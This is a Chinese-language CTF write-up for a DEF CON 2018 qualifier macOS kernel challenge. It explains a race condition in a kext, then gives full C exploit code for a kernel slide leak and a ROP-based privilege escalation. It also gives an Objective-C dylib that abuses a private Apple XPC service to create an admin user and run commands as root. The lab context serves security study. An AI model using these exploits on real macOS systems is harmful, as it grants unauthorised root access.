一道macOS内核题的解题思路

预期解

题目描述
title

defcon 2018资格赛的原题,题目文件给了一个kext IOKit内核扩展模块以及kernel二进制文件,先把环境搭起来。本地环境是macOS 10.14.6 Mojave (18G103),安装KDK 10.14.2
title

为方便调试先关掉SIP,IPwnKit.kext复制到/System/Library/Extensions/,给权限,加载

1
2
3
4
sudo cp IPwnKit.kext /System/Library/Extensions/
sudo chown -R root:wheel /System/Library/Extensions/IPwnKit.kext
sudo chmod -R 755 /System/Library/Extensions/IPwnKit.kext
sudo kextload /System/Library/Extensions/IPwnKit.kext

替换成macOS 10.14.2的内核

1
sudo cp /Library/Developer/KDKs/KDK\_10.14.2\_18C54.kdk/System/Library/Kernels/kernel.development /System/Library/Kernels/kernel

设置引导参数

1
2
3
sudo nvram boot-args="debug=0x141 kext-dev-mode=1 kcsuffix=development pmuflags=1 -v"

sudo nvram boot-args="debug=0x144 kext-dev-mode=1 kcsuffix=development pmuflags=1 -v"

1>>boot-args:系统的启动参
2>>debug=0×141,表示系统可以进行远程链接调试
3>>kext-dev-mode=1允许加载未签名kext
4>>kcsuffix=development 允许我们启动系统,通过development,与之前我们copy到/Systems/Library/Kernel下的kernel.development对应,如果我们之前拷贝的是kernel.debug,那么这里填kcsuffic=debug
5>>pmuflags=1关闭定时器
6>>-v显示内核加载信息.

清除kext cache使用新内核调试

1
2
sudo kextcache -invalidate /
sudo reboot

lldb附加调试

1
2
3
lldb
(lldb) target create /path/to/kernel.development
(lldb) kdp-remote guest_ip

重启后装载IPwnKit.kext扩展

1
sudo kextload /System/Library/Extensions/IPwnKit.kext

title

该kext主要提供3个功能ReadNum、WriteNum和FillArray,利用IOConnectCallMethod方法对其进行调用

调用IPwnKitUserClient::sMethods,主要是通过传入IOExternalMethodDispatch结构体参数,其中Methods可为ReadNum、WriteNum和FillArray等

1
2
3
4
5
6
7
8
struct IOExternalMethodDispatch
{
IOExternalMethodAction function;
uint32_t checkScalarInputCount;
uint32_t checkStructureInputSize;
uint32_t checkScalarOutputCount;
uint32_t checkStructureOutputSize;
};

IOExternalMethodArguments用于传递方法的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
struct IOExternalMethodArguments
{
...
const uint64_t * scalarInput;//24-8
uint32_t scalarInputCount;//32-4

const void * structureInput;//36-8
uint32_t structureInputSize;//44-4

IOMemoryDescriptor * structureInputDescriptor;//48-8

uint64_t * scalarOutput;//56-8
uint32_t scalarOutputCount;//64-4

void * structureOutput;//68-8
uint32_t structureOutputSize;//76-4

IOMemoryDescriptor * structureOutputDescriptor;//8
uint32_t structureOutputDescriptorSize;//4
...
};

审计这段代码,arguments->structureInputDescriptor是指向用户态空间的共享变量(sReadNum、ReadNum共享该变量),导致条件竞争漏洞。绕过size检查后,创建一个新线程,该线程在有效索引和越界索引之间反复更改索引参数字段,直到在输出结构中包含目标索引为止。在索引-30泄漏出内核地址,计算kernel slide。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
IOReturn IPwnKitUserClient::sReadNum(IPwnKitUserClient* target, void* reference, IOExternalMethodArguments* arguments)
{
...
int64_t idx;
arguments->structureInputDescriptor->readBytes(0, &idx, sizeof (idx));
if (idx >= sizeof (IPwnKitUserClient::myNumbers) || idx < 0) {
IOLog("invalid index %d\n", idx);
return KERN_FAILURE;
}
return target->ReadNum(arguments);
}
IOReturn IPwnKitUserClient::ReadNum(IOExternalMethodArguments *arguments) {
IOLog("%s[%p]::%s reading number stored\n", getName(), this, __FUNCTION__);
read_num_t rnum;
arguments->structureInputDescriptor->readBytes(0, &rnum, sizeof (read_num_t));
int64_t idx = rnum.index;
arguments->scalarOutput[0] = idx;
arguments->scalarOutput[1] = this->myNumbers[idx];

return KERN_SUCCESS;
}

fillArray用作污染内核栈,执行内核rop,提权rop的编写参考该文章
Mac OS X Privilege Escalation via Use-After-Free: CVE-2016-1828

在macOS 10.14.2 (18C54) kernel.development下的利用代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>
#include <signal.h>
#include <IOKit/IOKitLib.h>
#include <CoreFoundation/CoreFoundation.h>
#define kOpenUserClient 0
#define kCloseUserClient 1
#define kSayHi 2
#define kReadNum 3
#define kWriteNum 4
#define kFillArray 5
#define kIOKitClassName "io_oooverflow_IPwnKit"
#define KERNEL_BASE_NO_SLID 0xFFFFFF8000100000ULL
io_connect_t connection;
kern_return_t OpenUserClient(void){
return IOConnectCallScalarMethod(connection,kOpenUserClient,0,0,0,0);
}
kern_return_t CloseUserClient(void){
return IOConnectCallScalarMethod(connection,kCloseUserClient,0,0,0,0);
}
kern_return_t SayHi(void){
return IOConnectCallScalarMethod(connection,kSayHi,0,0,0,0);
}
const char pattern[] = "AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY";
struct result{
int64_t idx;
int64_t res;
} out;
struct args{
int64_t idx;
int64_t res;
int64_t reserved[100000];
} Args;
pthread_t racer,racer2;
void handler(void){
pthread_exit(0);
}
void Race2(int idx){
signal(SIGUSR1,handler);
while(out.idx!=idx){
Args.idx=idx;
Args.idx=0x4f;
}
pthread_exit(0);
}
int64_t ReadNum(int64_t idx){
Args.idx=idx;
int64_t outCnt=2;
assert(0==pthread_create(&racer2,0,Race2,idx));
kern_return_t kr;
do{
kr = IOConnectCallMethod(connection,kReadNum,0,0,&Args,sizeof(Args),&out,&outCnt,0,0);
}while(kr||out.idx!=idx);
return out.res;
}
int64_t WriteNum(int64_t idx,int64_t value){
Args.idx=idx;
Args.res=value;
int64_t outCnt=2;
assert(0==pthread_create(&racer2,0,Race2,idx));
kern_return_t kr;
do{
kr = IOConnectCallMethod(connection,kWriteNum,0,0,&Args,sizeof(Args),&out,&outCnt,0,0);
}while(kr||out.idx!=idx);
return out.res;
}
kern_return_t FillArray(int64_t* array,int64_t len){
memcpy(&Args,array,len);
kern_return_t kr=kIOReturnBadArgument;
int64_t outCnt=1;
do{
kr = IOConnectCallMethod(connection,kFillArray,0,0,&Args,sizeof(Args),&out,&outCnt,0,0);
}while(kr==kIOReturnBadArgument);
return kr;
}
void IPwnConnect() {
kern_return_t kr;
mach_port_t masterPort;
io_service_t serviceObject;
io_iterator_t iterator;
CFDictionaryRef classToMatch;

kr = IOMasterPort(MACH_PORT_NULL, &masterPort);
if (kr != KERN_SUCCESS) {
printf("IOMasterPort returned %d\n", kr);
exit(-1);
}

classToMatch = IOServiceMatching(kIOKitClassName);
if (classToMatch == NULL) {
printf("IOServiceMatching returned a NULL dictionary\n");
exit(-1);
}

kr = IOServiceGetMatchingServices(masterPort, classToMatch, &iterator);
if (kr != KERN_SUCCESS) {
printf("IOServiceGetMatchingServices returned %d\n", kr);
exit(-1);
}

serviceObject = IOIteratorNext(iterator);
IOObjectRelease(iterator);
if (!serviceObject) {
printf("No service found\n");
exit(-1);
}

kr = IOServiceOpen(serviceObject, mach_task_self(), 0, &connection);
IOObjectRelease(serviceObject);
if (kr != KERN_SUCCESS) {
printf("IOServiceOpen returned %d\n", kr);
exit(-1);
}
}// Thanks @LinusHenze
uint64_t GetKextAddr() {
FILE *fp;
char line[4096];

fp = popen("kextstat | grep io.oooverflow.IPwnKit | awk '{print $3}'","r");
if(fp == NULL) {
printf("Failed to get KEXT address!\n");
exit(-1);
}
fgets(line, sizeof(line)-1, fp);
uint64_t addr = (uint64_t) strtoul(line, NULL, 16);
fclose(fp);
return addr;
}
int main(int argc, char *argv[]) {
IPwnConnect();
OpenUserClient();
SayHi();
int64_t leaked = ReadNum(-30);
int64_t slide = leaked-GetKextAddr()-0x2070;
int64_t base = KERNEL_BASE_NO_SLID + slide;
printf("[*] Kernel Text Base 0x%llx\n",base);
printf("[*] Kernel Slide 0x%llx\n",slide);
printf("[*] Corrupting copy length value with:%lld\n",WriteNum(-1,28LL<<32)>>32);
puts("[*] Smashing the kernel stack for root");
unsigned long long ropchain[] ={//put this at offset 14*8 so we can check rbp for magic value
0xdeadbeecULL,
slide + 0xFFFFFF8000964EB0, // 0xffffff80009c20c0,//current_proc
slide + 0xffffff80002ad153, // 0xffffff800056eaf3,//pop rcx ; ret
slide + 0xFFFFFF800081E5F0, // 0xffffff80008c3fb0,//proc_ucred
slide + 0xffffff80009885d6, // 0xffffff80009e5926,//mov rdi, rax ; pop rbp ; jmp rcx
0xdeadbeedULL,
slide + 0xffffff80002ad153, // 0xffffff800056eaf3,//pop rcx ; ret
slide + 0xFFFFFF80007DC350, // 0xffffff800088ab70,//posix_cred_get
slide + 0xffffff80009885d6, // 0xffffff80009e5926,//mov rdi, rax ; pop rbp ; jmp rcx
0xdeadbeeeULL,
slide + 0xffffff8000a293ed, // 0xffffff8000a890cd, // mov qword ptr [rax + 8], 0 ; pop rbp ; ret
0xdeadbeefULL,
slide + 0xFFFFFF8000221DCA, // 0xffffff800035adca//thread_exception_return
};
int64_t* payload = malloc(224);
memcpy(payload,pattern,224);
memcpy(payload+14,ropchain,sizeof(ropchain));
FillArray(payload,224);
CloseUserClient();
setuid(0);
setuid(0);
//system("/bin/sh");
system("cat /var/root/flag");
}

提权读flag
title

非预期解法(利用macOS本身的提权漏洞)

DYLD_INSERT_LIBRARIES先注入一个签名为二进制的苹果,然后与特权XPC服务通信

在漏洞利用程序中,选择/System/Library/CoreServices/Setup Assistant.app/Contents/MacOS/Setup Assistant借用其com.apple.private.mbsystemadministration权限,因此可以与com.apple.mbsystemadministration进行通信

该服务以root身份运行

1
2
~ ps aux | grep systemadministration
root 1763 0.0 0.2 4383484 28312 ?? Ss 3:48PM 0:00.14 /System/Library/CoreServices/Setup Assistant.app/Contents/Resources/mbsystemadministration

XPC的导出方法有创建具有管理员特权(sudoer)的任意用户的方法:

1
2
3
4
@protocol MBSAProtocol <NSObject>
- (void)createUserWithInfo:(NSDictionary *)arg1
completionBlock:(void (^)(unsigned int))arg2;
@end

exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
#import <Foundation/Foundation.h>
#import <Security/Authorization.h>
#import <ServiceManagement/ServiceManagement.h>
#import <xpc/xpc.h>

@protocol MBSAProtocol <NSObject>
- (void)createUserWithInfo:(NSDictionary *)arg1
completionBlock:(void (^)(unsigned int))arg2;
@end

#define kUserName "wtf"
#define kPassword "this_is_so_complicated"

__attribute__((constructor)) void run() {
NSLog(@"ready");

@autoreleasepool {
NSString *kXPCServiceName = @"com.apple.mbsystemadministration";
NSXPCConnection *conn = [[NSXPCConnection alloc]
initWithMachServiceName:kXPCServiceName
options:NSXPCConnectionPrivileged];
conn.remoteObjectInterface =
[NSXPCInterface interfaceWithProtocol:@protocol(MBSAProtocol)];
conn.invalidationHandler = ^{
NSLog(@"Fatal: unknown error");
exit(-1);
};
[conn resume];

id remote = [conn remoteObjectProxyWithErrorHandler:^(NSError *proxyError) {
NSLog(@"Fatal: %@", proxyError);
exit(-1);
}];

NSDictionary *info = @{
@"kUserName" : @kUserName,
@"kUserFullName" : @kUserName,
@"kHint" : @"ourhardworkbythesewordsguardedpleasedontsteal",
@"kPassword" : @kPassword,
@"kAdministrator" : @1,
};

dispatch_semaphore_t wait_for = dispatch_semaphore_create(0);
[remote createUserWithInfo:info
completionBlock:^(unsigned int state) {
NSLog(@"result: %d", state);
dispatch_semaphore_signal(wait_for);
}];
dispatch_semaphore_wait(
wait_for, dispatch_time(DISPATCH_TIME_NOW, 2ull * NSEC_PER_SEC));

NSLog(@"Successfully created user, now run command as root");

const char *env = getenv("CMD");
NSString *cmd = [[NSString stringWithFormat:@"%s", env ? env : "id"]
stringByReplacingOccurrencesOfString:@"\""
withString:@"\\\""];

// AuthorizationExecuteWithPrivileges is deprecated!
NSDictionary *error = NULL;
NSString *script = [NSString
stringWithFormat:@"do shell script \"%@\" "
"user name \"" kUserName "\" password \"" kPassword
"\" with administrator privileges",
cmd];

NSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:script];
NSAppleEventDescriptor *result = [appleScript executeAndReturnError:&error];
if (result) {
NSLog(@"success!\n%@", [result stringValue]);
} else {
NSLog(@"failure: %@", error);
}

// todo: cleanup, remove the account
}

// kill the host
exit(0);
}

利用root权限去读/var/root/flag
title

⬆︎TOP